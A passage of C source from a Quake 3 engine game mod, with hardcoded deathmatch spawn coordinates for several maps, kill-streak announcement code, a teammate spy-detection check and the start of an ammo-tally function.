deathmatchspawn[2]= -359;
deathmatchangles[1]= -65;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -1555;
deathmatchspawn[1]= 948;
deathmatchspawn[2]= -359;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -1852;
deathmatchspawn[1]= 601;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -2179;
deathmatchspawn[1]= 609;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -1980;
deathmatchspawn[1]= 1173;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 97;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -2367;
deathmatchspawn[1]= 1178;
deathmatchspawn[2]= 608;
deathmatchangles[1]= 90;
//This spawn point below spawns in the cealing
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= -1644;
deathmatchspawn[1]= 1317;
deathmatchspawn[2]= 608;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= -1556;
deathmatchspawn[1]= 1674;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 143;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= -160;
deathmatchspawn[1]= 1439;
deathmatchspawn[2]= 336;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 194;
deathmatchspawn[1]= 1596;
deathmatchspawn[2]= 152;
deathmatchangles[1]= -127;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -1724;
deathmatchspawn[1]= 490;
deathmatchspawn[2]= 152;
deathmatchangles[1]= -6;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= 1172;
deathmatchspawn[1]= -899;
deathmatchspawn[2]= 152;
deathmatchangles[1]= 1;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 861;
deathmatchspawn[1]= -316;
deathmatchspawn[2]= 152;
deathmatchangles[1]= -42;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 1449;
deathmatchspawn[1]= -278;
deathmatchspawn[2]= 152;
deathmatchangles[1]= -134;
}else if(level.DMspawnpoint == 22){
deathmatchspawn[0]= 1441;
deathmatchspawn[1]= -288;
deathmatchspawn[2]= 320;
deathmatchangles[1]= -126;
}else if(level.DMspawnpoint == 23){
deathmatchspawn[0]= 3044;
deathmatchspawn[1]= -987;
deathmatchspawn[2]= 320;
deathmatchangles[1]= 179;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "crypt2")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= 321;
deathmatchspawn[1]= -1001;
deathmatchspawn[2]= 160;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -57;
deathmatchspawn[1]= -185;
deathmatchspawn[2]= 160;
deathmatchangles[1]= -134;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -455;
deathmatchspawn[1]= -583;
deathmatchspawn[2]= 160;
deathmatchangles[1]= 44;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -490;
deathmatchspawn[1]= -379;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 254;
deathmatchspawn[1]= 41;
deathmatchspawn[2]= 392;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 512;
deathmatchspawn[1]= 87;
deathmatchspawn[2]= 376;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= 63;
deathmatchspawn[1]= 38;
deathmatchspawn[2]= 392;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= -342;
deathmatchspawn[1]= 218;
deathmatchspawn[2]= 175;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= -896;
deathmatchspawn[1]= 281;
deathmatchspawn[2]= 96;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= -481;
deathmatchspawn[1]= -939;
deathmatchspawn[2]= 385;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= -1311;
deathmatchspawn[1]= -221;
deathmatchspawn[2]= -55;
deathmatchangles[1]= 178;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= -1637;
deathmatchspawn[1]= -933;
deathmatchspawn[2]= -55;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= -1114;
deathmatchspawn[1]= -1956;
deathmatchspawn[2]= -55;
deathmatchangles[1]= 134;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= -2441;
deathmatchspawn[1]= -1605;
deathmatchspawn[2]= -19;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= -1803;
deathmatchspawn[1]= -1248;
deathmatchspawn[2]= -55;
deathmatchangles[1]= -47;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= -1472;
deathmatchspawn[1]= -2540;
deathmatchspawn[2]= -55;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= -798;
deathmatchspawn[1]= -1595;
deathmatchspawn[2]= -55;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= -1470;
deathmatchspawn[1]= -754;
deathmatchspawn[2]= 288;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= -1471;
deathmatchspawn[1]= -2531;
deathmatchspawn[2]= 252;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -1147;
deathmatchspawn[1]= -2494;
deathmatchspawn[2]= 264;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= -1814;
deathmatchspawn[1]= -2495;
deathmatchspawn[2]= 264;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= -24;
deathmatchspawn[1]= -383;
deathmatchspawn[2]= 344;
deathmatchangles[1]= 179;
level.DMspawnpoint = -1;
}
}else if (!Q_stricmp(mapName, "factory")){
if(level.DMspawnpoint == 0){
deathmatchspawn[0]= -478;
deathmatchspawn[1]= -954;
deathmatchspawn[2]= -231;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 1){
deathmatchspawn[0]= -129;
deathmatchspawn[1]= -1109;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 89;
}else if(level.DMspawnpoint == 2){
deathmatchspawn[0]= -15;
deathmatchspawn[1]= -1054;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 3){
deathmatchspawn[0]= -25;
deathmatchspawn[1]= -874;
deathmatchspawn[2]= 170;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 4){
deathmatchspawn[0]= 1211;
deathmatchspawn[1]= 1442;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -89;
}else if(level.DMspawnpoint == 5){
deathmatchspawn[0]= 94;
deathmatchspawn[1]= 33;
deathmatchspawn[2]= 42;
deathmatchangles[1]= 91;
}else if(level.DMspawnpoint == 6){
deathmatchspawn[0]= -89;
deathmatchspawn[1]= 288;
deathmatchspawn[2]= -231;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 7){
deathmatchspawn[0]= 864;
deathmatchspawn[1]= 161;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 8){
deathmatchspawn[0]= 1187;
deathmatchspawn[1]= 546;
deathmatchspawn[2]= -231;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 9){
deathmatchspawn[0]= 611;
deathmatchspawn[1]= 340;
deathmatchspawn[2]= 24;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 10){
deathmatchspawn[0]= 544;
deathmatchspawn[1]= 343;
deathmatchspawn[2]= 103;
deathmatchangles[1]= -90;
}else if(level.DMspawnpoint == 11){
deathmatchspawn[0]= 917;
deathmatchspawn[1]= -990;
deathmatchspawn[2]= 360;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 12){
deathmatchspawn[0]= 2463;
deathmatchspawn[1]= -531;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -135;
}else if(level.DMspawnpoint == 13){
deathmatchspawn[0]= 1817;
deathmatchspawn[1]= -245;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 14){
deathmatchspawn[0]= 1878;
deathmatchspawn[1]= -477;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 15){
deathmatchspawn[0]= 2514;
deathmatchspawn[1]= -940;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 16){
deathmatchspawn[0]= 1966;
deathmatchspawn[1]= -810;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 17){
deathmatchspawn[0]= 1435;
deathmatchspawn[1]= 91;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 90;
}else if(level.DMspawnpoint == 18){
deathmatchspawn[0]= 1748;
deathmatchspawn[1]= -811;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -179;
}else if(level.DMspawnpoint == 19){
deathmatchspawn[0]= -167;
deathmatchspawn[1]= 427;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 20){
deathmatchspawn[0]= 1448;
deathmatchspawn[1]= -420;
deathmatchspawn[2]= 296;
deathmatchangles[1]= 0;
}else if(level.DMspawnpoint == 21){
deathmatchspawn[0]= 1021;
deathmatchspawn[1]= -1190;
deathmatchspawn[2]= 24;
deathmatchangles[1]= 89;
level.DMspawnpoint = -1;
}
}
VectorCopy( deathmatchspawn, spawn_origin );
VectorCopy( deathmatchangles, spawn_angles );
}
/*
======================
StatsCheck
======================
*/
//This only gets called if g_stats is on
//This is sort of an AMX MOD X feature :) (www.amxmodx.org)
//also from the old hs sniper days
// this is per round :) (might change if it just becomes one msg after another.
void StatsCheck(gentity_t *attacker){
gentity_t *te;
gentity_t *other;
char index[MAX_OSPATH];
int i;
qboolean playsound = qfalse; //this is to play sound so no extra ents created :)
/*
if (attacker->client->pers.kills == 5){
Q_strncpyz(index, "sound/player/multikill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1MULTI KILL! (5 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4MULTI KILL!\n\""));// FIXME for all
playsound = qtrue;
}
if (attacker->client->pers.kills == 10){
Q_strncpyz(index, "sound/player/killingspree.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1KILLING SPREE! (10 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4KILLING SPREE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 15){
Q_strncpyz(index, "sound/player/megakill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1MEGA KILL! (15 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4MEGA KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 20){
Q_strncpyz(index, "sound/player/rampage.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1RAMPAGE! (20 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4RAMPAGE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 25){
Q_strncpyz(index, "sound/player/impressive.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1IMPRESSIVE! (25 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4IMPRESSIVE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 30){
Q_strncpyz(index, "sound/player/ultrakill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1ULTRA KILL! (30 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4ULTRA KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 35){
Q_strncpyz(index, "sound/player/unstoppable.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1UNSTOPPABLE! (35 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4UNSTOPPABLE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 40){
Q_strncpyz(index, "sound/player/dominating.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1DOMINATING! (40 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4DOMINATING!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 45){
Q_strncpyz(index, "sound/player/excellent.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1EXCELLENT! (45 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4EXCELLENT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 50){
Q_strncpyz(index, "sound/player/whickedsick.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1WICKED SICK! (50 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4WICKED SICK!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 55){
Q_strncpyz(index, "sound/player/unreal.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1UNREAL! (55 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4UNREAL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 60){
Q_strncpyz(index, "sound/player/ludicrouskill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1LLLLUDICROUS KILL! (60 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4LUDICROUS KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 65){
Q_strncpyz(index, "sound/player/monsterkill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1MMMMONSTER KILL! (65 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4MONSTER KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 70){
Q_strncpyz(index, "sound/player/godlike.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1GODLIKE! (70 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4GODLIKE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 75){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1HOLY SHIT! (75 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 80){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1HOLY SHIT! (80 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 85){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1HOLY SHIT! (85 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 90){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1HOLY SHIT! (90 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 95){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1HOLY SHIT! (95 Kills) ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 100){
Q_strncpyz(index, "sound/player/admin6.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^1100 KILLS THIS ROUND! ^7- %.99s^7\n\"", attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^1100 KILLS!\n\""));
playsound = qtrue;
}
*/
if (attacker->client->pers.kills == 5){
Q_strncpyz(index, "sound/player/multikill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5MULTI KILL! (5k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4MULTI KILL!\n\""));// FIXME for all
playsound = qtrue;
}
if (attacker->client->pers.kills == 10){
Q_strncpyz(index, "sound/player/killingspree.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5KILLING SPREE! (10k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4KILLING SPREE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 15){
Q_strncpyz(index, "sound/player/megakill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5MEGA KILL! (15k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4MEGA KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 20){
Q_strncpyz(index, "sound/player/rampage.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5RAMPAGE! (20k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4RAMPAGE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 25){
Q_strncpyz(index, "sound/player/impressive.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5IMPRESSIVE! (25k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4IMPRESSIVE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 30){
Q_strncpyz(index, "sound/player/ultrakill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5ULTRA KILL! (30k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4ULTRA KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 35){
Q_strncpyz(index, "sound/player/unstoppable.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5UNSTOPPABLE! (35k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4UNSTOPPABLE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 40){
Q_strncpyz(index, "sound/player/dominating.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5DOMINATING! (40k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4DOMINATING!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 45){
Q_strncpyz(index, "sound/player/excellent.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5EXCELLENT! (45k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4EXCELLENT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 50){
Q_strncpyz(index, "sound/player/whickedsick.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5WICKED SICK! (50k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
trap_SendServerCommand( attacker-g_entities, va("cp \"^4WICKED SICK!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 55){
Q_strncpyz(index, "sound/player/unreal.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5UNREAL! (55k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4UNREAL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 60){
Q_strncpyz(index, "sound/player/ludicrouskill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5LLLLUDICROUS KILL! (60k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4LUDICROUS KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 65){
Q_strncpyz(index, "sound/player/monsterkill.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5MMMMONSTER KILL! (65k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4MONSTER KILL!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 70){
Q_strncpyz(index, "sound/player/godlike.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5GODLIKE! (70k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^4GODLIKE!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 75){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5HOLY SHIT! (75k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 80){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5HOLY SHIT! (80k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 85){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5HOLY SHIT! (85k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 90){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5HOLY SHIT! (90k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 95){
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5HOLY SHIT! (95k, %ihs)^7:%.99s^7\n\"", attacker->client->pers.headshots, attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1HOLY SHIT!\n\""));
playsound = qtrue;
}
if (attacker->client->pers.kills == 100){
Q_strncpyz(index, "sound/player/admin6.wav", sizeof(index));
trap_SendServerCommand(-1, va("chat \"^5100 KILLS THIS ROUND! ^7- %.99s^7\n\"", attacker->client->pers.netname));
//trap_SendServerCommand( attacker-g_entities, va("cp \"^1100 KILLS!\n\""));
playsound = qtrue;
}
if(playsound){
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
//they dont want to hear it so shut it off.
if (level.clients[i].sess.colorFlags & MULTIKILL_OFF)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
}
/*
=========
checkSpys
=========
*/
void checkSpys(gentity_t *ent) {
gentity_t *target;
trace_t tr;
vec3_t start, end, forward;
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if(g_gamestate.integer != GS_PLAYING)
return;
AngleVectors(ent->client->ps.viewangles, forward, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 512, forward, end); //put 'end' 512 units forward of 'start'
//see if we hit anything between 'start' and 'end'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, (CONTENTS_SOLID|CONTENTS_BODY|CONTENTS_CORPSE|CONTENTS_TRIGGER));
if ( tr.surfaceFlags & SURF_NOIMPACT )
return;
if ( tr.entityNum == ENTITYNUM_WORLD )
return;
//if we didn't hit a player, return
if (tr.entityNum >= MAX_CLIENTS)
return;
target = &g_entities[ tr.entityNum ];
if ((!target->inuse) || (!target->client)) //if the player is lagged/disconnected/etc
return;
if (target->client->ps.stats[STAT_HEALTH] <= 0) //if they're dead
return;
if (!OnSameTeam(target,ent))//dont need to know otherteams info
return;
if(!target->client->ps.isSpy)//they arnt a spy so return
return;
ent->client->lastLTinfotime = level.time;
//July 27 2007 - agent.
//make the spy messages print with level 1 priority so
//people know that he is a spy.
if(target->client->sess.sessionTeam == TEAM_RED){
trap_SendServerCommand(ent-g_entities, va("cp \"^1AXIS ^3spy!\n\"1"));
}
if(target->client->sess.sessionTeam == TEAM_BLUE){
trap_SendServerCommand(ent-g_entities, va("cp \"^4ALLIED ^3spy!\n\"1"));
}
}
/*
============
GetLTinfo
============
*/
void GetLTinfo(gentity_t *ent) {
int mainweapres=0;
int mainweapclip=0;
int pistweapres=0;
int pistweapclip=0;
int nadeammo=0;
gentity_t *target;
trace_t tr;
vec3_t start, end, forward;
if (ent->client->ps.stats[STAT_HEALTH] <= 0)
return;
if(g_gamestate.integer != GS_PLAYING)
return;
AngleVectors(ent->client->ps.viewangles, forward, NULL, NULL);
VectorCopy(ent->s.pos.trBase, start); //set 'start' to the player's position (plus the viewheight)
start[2] += ent->client->ps.viewheight;
VectorMA (start, 512, forward, end); //put 'end' 512 units forward of 'start'
//see if we hit anything between 'start' and 'end'
trap_Trace (&tr, start, NULL, NULL, end, ent->s.number, (CONTENTS_SOLID|CONTENTS_BODY|CONTENTS_CORPSE|CONTENTS_TRIGGER));
if ( tr.surfaceFlags & SURF_NOIMPACT )
return;
if ( tr.entityNum == ENTITYNUM_WORLD )
return;
//if we didn't hit a player, return
if (tr.entityNum >= MAX_CLIENTS)
return;
target = &g_entities[ tr.entityNum ];
if ((!target->inuse) || (!target->client)) //if the player is lagged/disconnected/etc
return;
if (target->client->ps.stats[STAT_HEALTH] <= 0) //if they're dead
return;
if (!OnSameTeam(target,ent))//dont need to know otherteams info
return;
ent->client->lastLTinfotime = level.time;
//main weapons
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(25)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(25)];
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(4)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(4)];
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(3)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(3)];
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(7)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(7)];
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(8)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(8)];
mainweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(14)];
mainweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(14)];
mainweapclip += target->client->ps.ammoclip[BG_FindAmmoForWeapon(9)];
//Pistol
pistweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(2)];
pistweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(2)];
pistweapres += target->client->ps.ammo[ BG_FindAmmoForWeapon(13)];
pistweapclip += target->client->ps.ammoclip[BG_FindClipForWeapon(13)];
//Nades
nadeammo += target->client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_PINEAPPLE)];
nadeammo += target->client->ps.ammoclip[BG_FindClipForWeapon(WP_GRENADE_LAUNCHER)];
if (COM_BitCheck( target->client->ps.weapons, WP_MP40)){
if(target->client->sess.sessionTeam == TEAM_BLUE)
